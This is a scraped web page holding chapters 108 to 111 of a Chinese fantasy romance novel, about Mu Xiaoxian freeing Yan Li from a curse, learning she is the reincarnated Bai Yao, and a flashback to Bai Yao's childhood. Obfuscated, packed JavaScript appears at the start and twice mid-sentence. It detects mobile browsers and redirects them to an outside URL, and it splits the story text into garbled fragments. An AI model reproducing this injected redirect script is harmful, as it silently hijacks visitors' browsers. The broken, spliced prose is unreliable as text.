35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137772|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “姐姐......” “别叫我姐姐。”慕小闲打断他。 白琅望着她不知道在想些什么,半晌,他悠悠地说:“姐姐,我知道囚仙印的解除方法。” 慕小闲没拿到囚仙印的解除方法,心中正烦闷,白琅这么一说,她立刻雀跃起来。 但白琅怎么会知道这件事? 白琅像是看出了她的疑惑,解释道:“我曾潜入宫中见过有苏先生,是他让我暗中窃取,以备不时之需的。我与晏离并不相识,他如何与我无关,我做这一切都是为了姐姐。” 慕小闲受宠若惊。 “姐姐,来,我教给你。”白琅拉起慕小闲的手,两人双掌相触,两股白色的仙力融合在一起,一道符文出现在慕小闲的眼前。慕小闲默念了几遍:“这是什么诀?” 白琅收回手:“这不是诀,是魔族的咒术。” “咒?” “他们为什么要给晏离下咒?” 白琅耸耸肩:“这我就不知道了。” “你是怎么拿到的?”慕小闲狐疑道。 白琅狡黠地一笑:“我自有办法。姐姐放心,这个咒术我验证过数次,绝对没有问题。” 既然拿到了解除方法,慕小闲不想再耽搁:“谢谢你救我出来,我先走了。” 白琅眨眨眼睛:“姐姐,你不要我了?那我怎么办?” “什么要与不要?你这么大个人,自然想去哪里去哪里,想做什么做什么。” 白琅莞尔一笑,如沐春风:“既然这样,那我跟着姐姐好不好?” 未等慕小闲反应过来,他又撒娇道:“姐姐,我刚从宫里跑出来。要是再回去,会被魔族抓住的。”白琅眼巴巴地望着她,带着一丝恐惧说道:“他们会不会把我变得和有苏先生一样?” 白琅说的没错,若是他被殷乐抓住,恐怕会变成一个筹码。这个便宜弟弟放在自己眼前看着,总比落回敌人手中要好。 可是捡一个男人回去,晏离不会不高兴吧。但这个人是白瑶的弟弟,小十一的叔伯,与他也有沾亲带故,不算是外人。 慕小闲思忖片刻,犹豫地点了下头,不料白琅突然笑出声:“姐姐,我逗你玩儿的。殷乐就算知道是我,也不敢对我做什么,我还是留在宫中与你里应外合的好。” 慕小闲心中松了一口气,白琅若是真跟着她走了,殷乐一定会起疑,到时候只要认真思索便联想到白瑶。她尚未证实自己的身份,晏离又还昏迷不醒,不能再出乱子了。她抿了抿唇:“这样也好。” 白琅突然伸手钳住了慕小闲的左肩,慕小闲心里一颤,眼中充满了警惕。白琅微微一笑,手中用力,“咔”地一声,将慕小闲脱臼的左臂接上。 慕小闲还以为自己伪装的很好,没有人发现她手臂脱臼的事。她深深看了他一眼,郑重道:“谢谢。” 望着慕小闲渐渐消失在林间离的背影,白琅嘴角的笑意渐渐变得苦涩。他脑海里浮现漫天的火光,耳边恍若风声呼呼作响。 “姐姐,快点出来!”男孩扑在滚烫的石阶上,想往上爬,被屋里的人喝住。 “无恙!带他走!” 一名衣发不整的侍女,含着热泪将男孩向外拉。“小公子,快走!” 男孩止不住地发抖,神情恍惚:“不,不是这样的......” “姐姐,我不走,放开我......”男孩拳打脚踢,无恙被他踹到墙角,衣服沾上了火苗,痛感瞬间在脊背蔓延。无恙强忍着痛意去拉他:“小公子......殿下让你快走。” 男孩的目光落在被熊熊火焰吞噬的屋子上,似乎在寻找里面的身影。 “小公子......来不及了!快走!”无恙拽起男孩,不顾他的挣扎将他拖出院子,一路跌跌撞撞。 男孩任由人拉扯,双目猩红,哑声道:“姐姐......” 清晨升起的日光由远及近,渐渐照亮他身上的铠甲,白琅抬起微红的眼睛,迎着晨辉牵起唇角。 ——姐姐,终于回来了。 109. 第 109 章 慕小闲匆匆赶回竹隐山,落在沉寂的竹屋前,四周安静得连呼吸都微不可察。 小黄瓜一见她就往她身上扑,慕小闲无心与它玩闹,虽然明知不可能,却还是怀着一丝希冀轻声问:“晏离醒了吗?” 小黄瓜微微一颤,目光躲躲藏藏。 慕小闲心里一揪,飞奔进屋,在晏离的房门前停顿了一下,轻手轻脚地推门走进去。 明明只过了一夜,却好像发生了很多事。 晏离拢着一身白衣安然地躺在床上,眉目舒展,长长的眼睫如一把扇子投射下浅浅的阴影,肉色的唇瓣轻轻抿着,像是睡着了一样。 慕小闲不由放轻了呼吸,唯恐惊扰了他,目光久久无法从他身上挪移。 在听过了阿筝的故事后,她不知道该用什么身份、什么心情面对晏离,也不知道自己对晏离的感情是否受到了别的因素影响。但她知道,自她升天后晏离一而再地救她,一定是因为白瑶。 晏离对白瑶到底是什么感情? 他曾是白瑶的师父,与白瑶朝夕相对数百年,却对白瑶那样的决绝。如果不是他的拒绝,白瑶可能不会匆匆回宫答应华尧的亲事,也许魔域就不会找到机会对她下手。 他救自己是念在和白瑶的师徒情分,还是对她有心存愧疚? 慕小闲气馁地跪坐在地上,将晏离的裤脚卷起,撇开眼不敢看他伤痕累累的脚踝,伸手抚在咒枷上,口中默念白琅教给她的咒术。 手下的黑色印记逐渐膨胀,在某个时刻爆发成一股浓雾,渐渐烟消云散。就是一句咒术,禁锢了晏离上千年,留下的是肌肤上深深的血迹与疤痕。慕小闲用仙力抚平了他的伤口,但经年累月的伤疤需要慢慢调理,不能急于一时。 转眼三日过去,晏离迟迟未醒。 慕小闲每日望着他的睡颜,不知该如何是好,只觉得自己快要疯掉。她趴在晏离的床边,一边一边勾勒他的眉眼,语气冷然,又带着一丝哀怨: “为什么你在欺骗我之后还能安然沉睡?” “你对我有没有一点愧疚?” “你究竟在逃避什么?” 晏离全无回应,她愤愤地支起身,攥住他的衣襟:“你醒一醒啊!” 一声压抑的怒吼,四周顿时换了天地,她穿过重重白雾,再次降落在一片青葱绿地上。 漫天银辉向外扩散,如同星光点点,好似比上次见过的还要茂盛。恍惚之间,她好像看见一缕银丝飘过,猝然躲藏于粗壮的树干后。 灵境安静极了,仿佛天地间唯有她一人,可呼吸之间,那丝丝清香萦绕鼻尖。 慕小闲心中一阵闷痛,她攥紧了拳头,面对苍翠的灵境之树哽咽道:“为什么一直躲着我?难道你想永远不再见我吗?” 树叶浮动,光影变换莫测。 树后之人依旧缄默。 慕小闲快步上前,绕树而行,几乎快要瞥见那一抹白色衣角,却始终抓不住他的身影。她累极痛极,失声喊出:“晏离......” 白衣恍然顿住,银发如瀑,泛着淡淡流光。他的脊背绷得僵直,身侧双手微微握拳,似乎在极力隐忍什么。 她停在一步之遥,只要伸手就能触碰到他。 “你都知道了......” 慕小闲怅然道:“我知道了,我知道你就是白衣,可我不知道你为何瞒着我。” 晏离肩上不易察觉地一松:“我不会害你,知不知道又有什么重要。” 慕小闲提起一口气,闪身至他面前,猛地撞进他的双眸中,那双总是含着云雾的眼眸,恍然掀起波澜,再也无法平静。 “除了白衣之外,你还有没有别的事瞒着我?” 晏离的唇抿成一线,半晌薄唇轻启:“没有。” 慕小闲想笑,却挤出了一个比哭还难看的表情,她深深看了晏离一眼,眼中复杂又决绝:“师父,你昏迷的这段时间,我去了一趟长乐宫。原本是为了给你求囚仙印的解除方法,没想到见到了阿筝......” 她成功地在他那张处变不惊的脸上看到了紧张的神情,但是还不够,她想撕裂他的伪装,她想看到他真实的模样。 “你......”晏离将她仔仔细细地打量了几遍,见她安然无恙,幽幽松了一口气。 “阿筝,他还活着?” “不,他不算还活着。”慕小闲将如何遇见阿筝的事告诉了晏离,她渐渐垂下眼眸,不知该如何对晏离说她知道了自己的身份。 晏离似有察觉,呼吸有些颤抖:“他和你说了什么?” 慕小闲咬了下唇,犹豫片刻,抬眸望向晏离,目光中带着试探:“他说我才是白瑶。” 青天白日,如此荒谬的一句话,却没有引来晏离的否认。 晏离望着她,沉痛的目光与她纠缠在一起,眼中仿佛凝聚着一场风暴,压抑了许多年的秘密与情感在一瞬间倾泻而出。 良久,云散风停,晏离眼中恢复了一贯的淡然,叹息道:“原来是这样,难怪,难怪你这么生气。” 慕小闲红了眼眶,她挪开目光,眨了眨眼睛不让自己陷入哽咽:“你从一开始就在骗我,从我上天开始你就隐藏在我周围,伺机告诉我关于你的事,让我来青丘找你拜师。你想将我留在这里,就是为了复活白瑶对不对?你对我做的一切都是白瑶?” 他做的一切都是为了白瑶,他想要找回的当初那个白瑶,而不是她。那她算什么? 晏离眉头紧锁,仓皇地伸手想拉住她的衣袖,被慕小闲躲开。 “不是的。我虽对你有所隐瞒,但不是为了骗你。我怕你知道真相后接受不了,想等时机成熟后再告诉你。” 慕小闲惨淡地扯了一下嘴角:“什么时候才算时机成熟?我上天后被人针对、被人诬陷、被人追杀,我连究竟为什么遇上这些事都不知道。晏离,我也会害怕,如果我没有逃过先前任何一次危险怎么办?难道我要在什么都不知道的情况下死去吗?” “你不会有事的。”晏离紧紧锁着她的眼睛,语气坚决道。 慕小闲唇角泛起苦涩:“是啊,我不会有事,你每一次都出现的那么刚好。” “太荒谬了。”慕小闲丢下一句,气流瞬间卷上她的身体,将她带离灵境。她回到晏离床前,双眼不由浮上一层水雾,又被她强压了下去。 她提步就要走,手却突然被一股力量攥住,拉扯之间,她对上晏离的眼睛,那双清冷的眸中的凄然和痛楚一齐迸发,化作一句呢喃:“闲儿......" 他从未这样唤过她,慕小闲心中一颤,挣扎道:“你终于肯清醒过来了。” 晏离缓缓撑起身,长发从肩头垂落,深深望着她低语道:“是我不对。” 慕小闲红着眼眶与他僵持:“告诉我所有的事。” 晏离苍白的面容露出迟疑,须臾,她未等到想要的回答,嘴角不由又浮现一层冷意。她挣开晏离的手,猝然转身离去。 慕小闲穿越竹林,一路暴走到溪水上游放声大叫,心里的愤懑犹如困兽出笼,一股脑尽数爆发,惊得林中鸟雀扑腾。 她不知嘶吼了多久,气喘吁吁地停下时,周遭寂静无声,连往日叽叽喳喳的鸟雀都隐没在了山林中。 她一个人颓然地坐在溪边的石头上,头目晕眩,精疲力竭,比她先前任何一次修炼都要疲倦。她的嗓子哑了想喝口水,低头看到淙淙流水中熟悉又陌生的面容,心中大惊。她跳进水中,将水中倒映的画面踢散,踢得水花飞溅、裤脚尽湿。 原来从她升天开始,她就已经回到局中了。 不知过了多久,她被人拉上岸,柔软的袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137773|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口轻轻擦拭着脸上的水渍。她猛地抱住眼前清瘦的人影,只是抱着,生涩又僵硬,良久没有开口。 人影张开的双臂迟疑了一瞬,轻轻搂上去,小心翼翼地搂着,低声道:“回去换件衣裳吧。” 慕小闲才发现是晏离,埋着头嘟囔道:“大骗子。” “......” 须臾,慕小闲抽回手,不去看他的神情,冷冷道:“你回去吧,我要一个人静一静。” “......” 她退开一步:“我觉得我们还是分开一段时间比较好......” “你要去哪里?”晏离突然抓住她的手腕。 慕小闲垂眸道:“没想好。也不一定去哪儿,就随处转转。” 晏离望着她,眼底满是复杂的神情,半晌,他松开手,语气带着一丝无可奈何道:“你走吧。” 这是欲擒故纵吗? 慕小闲有点懵,她原本也不知道该去哪儿,总之不想面对晏离。 他这么一说,她不走倒是说不过去了。 “我真走了......”慕小闲瞄了他一眼,向外迈了一步。 晏离神色淡然,没有反应。 “走了一时半会儿就不回来了。”慕小闲又往外挪了一步。 晏离目送她离开。 不对啊,这种时候放她离开,不怕她情绪崩溃吗?不怕她被殷乐抓走吗? 果真是不在意她的死活。 慕小闲在心中骂骂咧咧,扭头向外走去,一鼓作气径直走出几百米,忽然停下来回头。 晏离依然在她三步开外的地方,但神色不似刚才那么轻松,身体微微发颤,脸色比先前还要更加苍白。 “跟着我做什么?”慕小闲皱眉。 晏离身形不稳,气若游丝:“没说......不能跟着。” 慕小闲简直烦透了,转身扶住他:“才刚好就出来乱跑,还要不要命了?” 晏离看着她的眼睛,肉色的嘴唇微颤:“为了出来寻你。” 慕小闲纠结地望着晏离,不禁想晏离寻的究竟是她还是白瑶? 她蓦地松了手,瞥开目光,闷声道:“别跟着我了。”转身欲走,却被晏离从身后拥住。 他的下颚轻轻抵着她的头发,颤抖的呼吸落在她的发丝,一双手紧紧搂在她的腰间,将她禁锢在自己的胸前。他从来没有在她面前如此暴露过自己,现在他毫无办法,他别无选择。 慕小闲心跳急剧加速,声音艰涩道:“放开我。” 腰间的手不仅未放开,反而拴得更紧了。 慕小闲:“你刚才说了让我走的。” 头顶传来沉沉的声音:“我后悔了。” “你言而无信!放开我!”慕小闲着急地推开他的手臂,没想到晏离踉跄一步,清瘦的身影如同一片凋零的落叶跌倒在地,披散的头发狼狈垂下,本就消瘦的脸颊更显苍白。他眼睫低垂,掩盖了眼中支离破碎的神情,唇微微颤抖,仿佛一只被人遗弃的小兽。 他这是做什么? 为什么一副被人欺负了的样子? 他可是晏离啊,他是她升天以来最信任的人。为什么会变成这样...... 慕小闲心里酸疼不已,既恨他欺瞒她,又心疼他为她做的一切,不由伸出手想将他扶起。可是手悬在半空中,突然攥紧收了回去。 在晏离错愕的目光中,慕小闲狠下心,决然地转身就走。 她不能再心软了。 慕小闲大步向前走去,身后传来一声痛彻心扉的疾呼:“闲儿!” 那声音裹挟着压抑、复杂的情愫,跨越多年来不为人知的日日夜夜,撕碎了他清冷疏离的伪装。 “别走...... “我把一切都告诉你......” 110. 第 110 章 “恭喜永昭殿下。恭喜公子鸢殿下。” “恭喜恭喜” “祝公主殿下福满临门,德泽万代。” 长乐宫恢弘的朱紫色宫门前,一声声庆贺从外传来,前来参加白瑶小殿下千岁宴的宾客将手中的厚礼交予宫中接待的侍从,随后朝大殿的方向走去。 远远望见两只雕刻得栩栩如生的猛兽立在大殿飞檐两侧,眼神锐利,不苟言笑地望着道上的来者。檐下红绸高悬,如波浪沿着大殿的房梁、屋柱一路涌向殿内,大殿之上流光溢彩,暖色光辉映衬在宾客洋溢着笑容的脸上。 此时距离宫宴开席只有一炷香的功夫,诸位宾客已经落座,宫门前冷清下来,留守的几名侍卫在做最后的巡视,在开宴前便要关闭宫门。 天外划过一道淡淡的云迹,宫门前恍然出现一瞬月白色的身影,扬起的衣摆随着降落的气流渐渐平息,与色彩浓厚的长乐宫相较之下,如同一只短暂停歇在娇艳繁花上的白色蝴蝶。 在侍卫的愣神中,晏离从容地向宫内走去。 他素来不喜喧闹,也不会参加如此宴席,若不是多年前消失的故友似乎有了一丝踪迹,他断不会出现在这里。时候不早,宾客应该皆已落座,路上无人,不会有人与他寒暄。 然而他还是失算了,长乐宫依山而建,地势复杂建筑多变。原以为前门直通主殿,却不料路经几处分叉路口,让他放慢了脚步。 天色渐晚,园中昏暗,开宴的钟声越来越近。 他沿着园中小径朝着大殿的方向走去,忽然听到一个稍显稚嫩的声音:“你是什么人?为什么在这里?” 回廊上,灯笼五颜六色的光映在一个打扮隆重的小姑娘身上,她身着惊鸿云裳,流云飞鸿在落日余晖下泛着金光,盘发样式复杂却未带珠钗,像是少了什么。 她睁着一双杏仁眼好奇地打量着他,灵动的眸中除了清雅的身影,还有满园春色与一片流霞。 “你是来祝贺的客人吗?” 晏离迟疑了一下,轻轻点了点头,抬步就要继续往前去,不愿与她纠缠。 见他态度冷漠,小姑娘眼中闪过一丝不悦,目光纠缠在他身上,忽而眨了眨眼睛,对着他的背影笃定道:“你走错了。这条路不是通往大殿的。” 晏离脚步一顿,回眸望向她,似乎是等待她的下文。 小姑娘眉头蹙起,语气带上了几分骄纵:“你不会说话吗?我说你走错了。” 晏离冷淡道:“该如何走?” 小姑娘扬起下巴瞥了一眼身侧一条小径:“这条路一直走,第一个分岔路口左转,绕过花坛再左转走到头。” 晏离浅浅看了她一眼,目光平静如水,朝她说的方向走去。 不多时园中匆匆赶来几名侍女,其中一位与她年龄相仿的女子,手中呈着金叶珠光步摇冠,略带埋怨道:“公主,这么重要的日子您还乱跑,要是殿下知道了,一定会怪罪我们的。” 她赶紧将公主往一侧偏殿引,疑惑地望向隐没在花丛中的白色身影:“公主,那条路不是去大殿的反方向吗?他怎么往那儿去了?” 小公主哼哼两声,轻蔑地望向晏离消失的方向:“宴席迟到,未经允许在别人园子里乱逛,还带着和我一样的配饰,最好是一个晚上都在这里打转,不要出现在宴席上。” 无恙不知所以然,听公主说的好像是挺过分的,于是重重点点头:“公主说的是,不知是哪家的公子如此无礼,最好不要再遇见。宴席快要开始了,我们赶快去候着吧。” 当她离开后,晏离从隐匿的花丛中走出,心中哑然,原来这就是未来的青丘之主。 永昭殿下与公子鸢穿着华贵繁冗的衣裳端端坐在大殿之上,睥睨着殿下的众人,自然而然地流露出领主的深沉与严肃。千岁宴虽然是家宴的形势,但君臣之别尚在,在众宾客面前言行举止不能失了分寸。 大殿之外传来窸窸窣窣的声音,声音微妙,若非仙力难以察觉。 人影从门外缓缓靠近,白衣在黑幕中显得颇为寡淡。他的目光与殿上之人微微触碰了一瞬,施以敬礼,而后走向一个不起眼的席位坐下,像雪夜中遗世独立的侠客,就算于席间落座也与周遭欢天喜地的氛围格格不入。 众人凝望着他,在记忆中搜索这样的身影,一时脑海中都有些茫然。他面容清俊,眼神淡漠又疏离,气质自成一派,犹如青林翠竹清雅脱俗,显得诸位宾客沉沦于世俗,霎时间殿上沉寂下来。 天界什么美男没有?像他这样明明身在喧嚣之中,气质却犹如隔绝在尘世之外的,世间少有。 众人面面相觑,这是哪位? 还未一探究竟,只听门口传来一声:“公主到——” 众人的注意力立刻转移,望向门外,翘首以待那位初次露面的小殿下。 小殿下是永昭殿下与公子鸢所出,得了两位贵人的传承,根骨清奇、与众不同。但永昭殿下将小殿下保护得极好,坊间对于这位小殿下的传闻少之又少,于是众人对这位神秘的小殿下颇有好奇。 众人不知的是,坊间之所以对白瑶的传闻少之又少,是因为白瑶并非那么......高雅端庄,那些让人啼笑皆非的故事,被永昭殿下永久封存在了宫中。简而言之,宫里丢不起这个人。 金丝珠花鞋跨过门槛,一双灵动的眼睛在殿内的众人身上扫过,带着繁重桂冠的脑袋探出来,随后一身瑰丽的锦绣华服出现在众人面前。跨过门槛时,头上珠花乱颤,白瑶顿了一下,浅浅勾起唇角,忽然像是想到什么,生生给憋了回去。 此时她不过凡人十三四岁的模样,五官还有些没长开,但一张小脸既有几分永昭殿下的明艳又有几分公子鸢的俊俏。若是过些年长开了,必然不会比殿上二位逊色。 这就是未来的青丘之主该有的姿态。众人心中震颤,由衷地发出一声感叹。 在众人的观瞻下,白瑶稳稳当当地向殿上走去。永昭殿下与公子鸢正襟危坐,在看到白瑶的一番打扮之后,心里早已软成一片。 千年有多长,再长也会化作流水匆匆而逝。 白瑶迈上最后一级台阶,停在王座前向永昭殿下与公子鸢行跪拜礼,而后款款起身面向宾客,接受众仙参拜。 礼毕,白瑶于两位殿下身侧的席位坐下。 永昭殿下把目光从她身上收回,带着身上沉甸甸的服饰起身对席间高声呼喝,那些“普天同庆、共襄大业”的话术,浩大声势得足以贯穿整座宫殿,尽显白家威严。说罢,与众人举起酒杯,遥遥相敬。 白瑶趁大家注意力不在自己身上,稍稍调整了下坐姿,才软下半边身子,就被公子鸢瞪了一眼。白瑶不情不愿地坐直了,眼珠在席间转了一圈,又绕到殿旁的柱子后面,似乎在寻找什么。 开席后,宾客又喧嚷起来。 “公主殿下聪慧非常,气质绝佳,未来不可限量。” “是啊,未来的青丘之主岂是平凡之人?才满千岁就能有如此气质,我之前闻所未闻。” “我看呐,那些天庭之人也未必有公主的能耐。” “听说公主小小年纪就熟读诗书,仙术、妖术、术数均有涉猎,假以时日是位集大成者。” “这么厉害的人真是听都没听说过......” 白瑶脸上浮现淡淡的笑意,似乎暗自得意,目光朝大殿上的宾客逡巡一周,突然在晏离身上迟疑了一下,微微敛了眉头。他怎么会先她一步出现在这里?他不是应该在园子里兜圈吗? 不多时,她又几次三番地瞥向他,目光说不上善意。 白瑶悄声问公子鸢:“那是谁?” 公子鸢瞥了晏离一眼:“是晏家的公子,听说是个厉害的角色,不过如此重要的场合他居然穿得这么寡淡,真是不将我们放在眼里。” 永昭殿下对晏离略有几分耳闻:“这位晏离公子像瑶儿这么大的时候就已经掌握了青丘所有的仙术,不过千岁有余就能独当一面,只是性子冷淡,久居山中,不喜与人交际。这次他能过来,也是给了宫里面子的。” 再看看瑶儿,虽然已经千岁,还是一副不知轻重的样子,心里郁结:“你若是有半点像他,我也就知足了。”简直是别人家的孩子,搞得白瑶莫名其妙。 晏离抬眸越过对面的宾客,看向殿上的柱子之后,平淡的目光微微颤了一下。 与此同时,白瑶探出身,目光刺向柱子之后。 ——有苏先生躲在那里做什么? 席间的酒会告一段落,永昭殿下带领众宾客前往长乐宫后花园赏月。 晏离趁着众人在花间游玩,欲先一步离开,不料走至人迹罕至处,一道身影拦住了他的去路。 侍者熄灭了园内的五彩灯笼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时白瑶比晏离矮了两头,身子小小气势足足,已沾染上些碍眼的权贵之气。 晏离愈加不愿搭理,白瑶气得冲到他前面:“你根本不是为了千岁宴而来,你是为了有苏先生吗? “我告诉你,有苏先生不是你能肖想的。你趁早死心。不管你和有苏先生以前是什么关系,以后都不能有关系。” 白瑶之所以这么说,是因为宫中觊觎有苏先生的侍人简直太多了。有苏一表人才,不用赘述,有大把明里暗里想往上贴的。白瑶一想到刚才有苏先生的眼神,就觉得这个人很危险。 晏离冷声道:“这也是他教的?” 白瑶一顿,身为有苏先生的学生,一言一行自然反应出了老师的水平。这几句话说的全然不是小殿下该有的样子,自己被人误解无所谓,有苏先生可不行,她着急道:“就事论事懂不懂,关他何事?” 转眼宫门就在眼前,白瑶的步子慢了下来,有些犹豫又有些好奇地向外看去。 门外昏昏沉沉一片寂寥,坠入远处山野,望不到尽头。 晏离抬腿便走,白瑶跟了上去:“你为什么着急出宫?宾客一般都会想方设法在宫中多留几日。宫外有什么好的?” 晏离冷笑道:“你没出过宫,又怎知宫外不好。” 白瑶眼珠一转,喃喃道:“谁说我没出去过。”她确实没出过宫,但她从来不认为是自己不能出去。 “宫里什么都有,侍者都得听我的,我想做什么都可以,为什么要出宫?”白瑶不服道。 他轻呵一声,仿佛她所拥护的一切不值一提,让白瑶突然产生了一种难以言喻的滋味,脸上有些微微发烫。 “宫外好玩儿吗?是不是有很多新奇的东西?你同我说说。”白瑶缠着他,却没有得到回应,不禁有些恼怒:“等我到了年纪,就会出宫游历。” 晏离丢下一句“如此甚好”,不再与她闲话,加快脚步向宫外走去。 这话平白让白瑶听出了一丝嘲讽,她拧紧眉头,追了上去:“出不出去还不是我一句话的事儿。”望着他冷肃的面容,白瑶拧眉道:“你不信?不如我们打个赌,若是我做到了,你要答应我一个要求。” 晏离没有回应。 许是侍从都被吸引至园中,一路行至宫门,竟然畅通无阻。 白瑶对那扇朱红色大门望而却步,不再着急追赶,对着他的背影叮嘱道:“你要记得我们的约定,如果我有办法出去,你要答应我一个要求。” 夜风拂面,她身上的锦衣华服荡开一道悠扬的弧线,在清泠月色下泛着流光溢彩。 晏离纵身跃向寂静深夜,于夜空中回望一眼,那抹亮丽的身影逐渐变得渺小,静静伫立在方才的位置,久久没有离去。 111. 第 111 章 晏离并未将千岁宴发生的事放在心上,那场不着边际的对话更是如同一缕青烟很快消散在他的记忆中。山中岁月静好,直到几百年后的某个清晨,山外云境寻来了一位意料之外的人。 山外云境是昔日晏离在山中居所,一方琼楼玉宇伫立群山之颠,如同高岭之花,孑然绽放在绵延数千里的渺渺云海中,远离尘世喧嚣。 小姑娘穿着色彩浅淡的襦裙,头发绑着一根略显陈旧的粉色绸带,拄着一根不知从哪里捡来的树枝,灰头土脸地出现在山外云境,隔着院子形同虚设的墙翘首往里面瞅。 晏离喜静,所以选择避世而居,被人登门打扰已是不悦,定睛一看,此人的眼睛长的极为漂亮灵动,一点没有在尘世摸爬滚打后的阴霾,虽然打扮略显粗糙,但皮肤细腻白皙,也不像经受过苦难。 小姑娘长途跋涉来到这个与世隔绝的地方,眼角带着深深的疲惫,还夹杂着一丝怨气,脸色不太好看。但甫一望见晏离的身影,消沉的状态瞬间褪去,跌跌撞撞推开院门走进来:“仙人,我在山中迷了路,好几天没吃东西了,可否讨点吃的?”竟然还像山里的妖魔鬼怪一般装了起来。 晏离身着一袭素雅的透白纹云锦袍,站在宅邸的玉石台阶处朝她望来,墨色的眼眸波澜不惊,唇微微抿着,身后的山中白云、缥缈仙宫衬的他本就清冷的气质愈加超脱世外。 晏离垂下眼眸,冷冷扫了一眼她沾着污泥的鞋子,沉声道:“回去。” 他说的并非“出去”而是“回去”,大抵是知道她从哪儿来,没想到这么快就漏了陷。白瑶一愣,贼心不死赶紧道:“回去也要好几天,不吃不喝撑不回去。” 晏离抬眼看向她的眼睛:“还装?” 白瑶与他对视了半晌,在他冷淡的眼眸找不到半点迂回的余地,恼怒地摔开手上的树枝拐杖,嚷嚷道:“你这人怎么这样?不接济我就算了,还出口污蔑?我装什么了?” 晏离神色清明,端的是一副云淡风轻的模样,看着她说:“白瑶。” 就算被点名道姓了白瑶还想再接着装装,但看他眼神坚定,觉得真没意思,撇了撇嘴换了语气说:“哎呀,你该不会一直惦记着我吧,怎么这么快就认出来了。” 白瑶摇了摇袖子,眼睛透着得意的光芒:“你看,我说我有办法出宫吧。” 晏离的思绪遥遥飘向了几百年前那一场喧闹的宴会,不过记忆实在模糊,他没想起前因后果。不怪晏离想不起来,而是此时白瑶的样子太过落魄,与那日的尊贵形象相去甚远,谁也料想不到未来的青丘之主会如此。 只为了一个赌,未免太不知轻重。 “你说了只要我能一个人出宫就答应我一个要求,不能不作数。”小姑娘大踏步走进院子,眨眼向晏离走来。 晏离不记得自己答应过她什么,一挥袖在门前立了一层屏障,和屏障外的白瑶干瞪眼。白瑶“嘶”了一声,眯了眯眼:“不让我进去?” 晏离沉声道:“我没有答应过你,这里不是你该来的地方。” 白瑶在闲暇时读过许多民间话本,一般听到“这里不是你该来的地方”时就说明来对地方了。她下定决心赖着不肯走,和晏离换着法子软磨硬泡,喉咙都说干了也没能说服晏离开门。 白瑶哪里受过这样的委屈,她若是不舒服便不会让旁的人好过,晏离越是反抗,她的征服欲越是如同海浪般一浪高过一浪。 晏离冷漠的态度没有打败她,山里的野生动物倒是吸引来一批,野鸡野兔躲在草丛后面暗中观察,想这位谪仙般的翩翩公子什么时候惹了这种人? 白瑶对晏离说:“晏离哥哥,你让我住在这里,我玩儿腻了就会回去。等我回去,我让母上给你在这里建一座更大的宫殿。”她如此自作主张的安排,好似将晏离看作/爱慕虚荣之人,为难她是为了利益交换。 晏离平白让人侮辱,面色铁青,将她拒之门外不再理会。 白瑶不知自己做错了什么,在山外云境外从白天说到天黑,从有理有据的争取变成了漫无目的地哀求,晏离丝毫不为所动。白瑶望着夜间冷冷清清的山林,迟钝地感受到了对方的铁石心肠。 晏离不让白瑶进屋,白瑶就在山外云境旁搭了一个小草棚。 那时她想的是,好不容易从宫中跑出来,还留下字条说要拜师学艺,若是没几天便灰溜溜地回去,多没面子!不管晏离留不留人,她都要在外多玩儿几日。你不让我进屋,我就在外头待着。院内是你家我进不去,院外天大地大你管不着。 白瑶不是一般的烦人。 每日晏离晨起练功,太阳高挂时白瑶才打着哈欠从草棚中出来。 下半天晏离在院内闲读,白瑶拿狗尾巴草追着野鸡野兔绕着院外一圈接一圈地跑。跑得尘土飞扬,统统灌进院内。 夜里晏离沐浴歇息,白瑶蹲在院外望着夜空开始碎碎念,念得晏离眉心直跳。 只要晏离离开山外云境,走到哪儿她就跟到哪儿,晏离若是驱赶她,她便说她出门在外遇到危险,整个青丘都不会好过,所以待在他身边才是最安全的。 不过晏离也不是一般的能忍,就这样过了几个月,白瑶都没能靠近屋内半分。 直到某一日,出大事了。 以白瑶的性子迟早会出大事。 晏离避开白瑶的跟踪外出修行,回来时遥遥望见山中绿林浓烟弥漫,他心里一沉,加快脚步回到山外云境一看,还好,院子尚在。 再一转头,院旁火势烧得正旺。 白瑶红彤彤的小脸望着陷入火海的草棚,脸上有不舍也有释然,嘴里念念有词,仔细一听,她说的竟是:“死得其所。” 熊熊火焰燃烧,浓烟滚滚飘向澄澈的天空,将浮白云朵染成了焦黄色。 火焰中一个被烧得透黑的烧烤架上,一团模糊的东西终于不堪其辱跌落下来,在火焰中四分五裂。火势蔓延至一旁草丛中,野草与老树沾上了火星,大有将一旁瑟瑟发抖的山林一齐吞并的势头。 白瑶背对着晏离,还未察觉晏离已经回来,嘴里振振有词:“可惜了可惜了,差一点就烤好了......” 晏离一向平静无波的内心产生了一丝罕见的躁动,他沉着脸,云袖一挥,火焰瞬间消失殆尽。最后一缕残风带走了地上的尘烟,灼热感渐渐消退,空气中仅剩一丝烧焦的气味。 白瑶转过头,看见晏离眼睛一亮:“你回来了!” 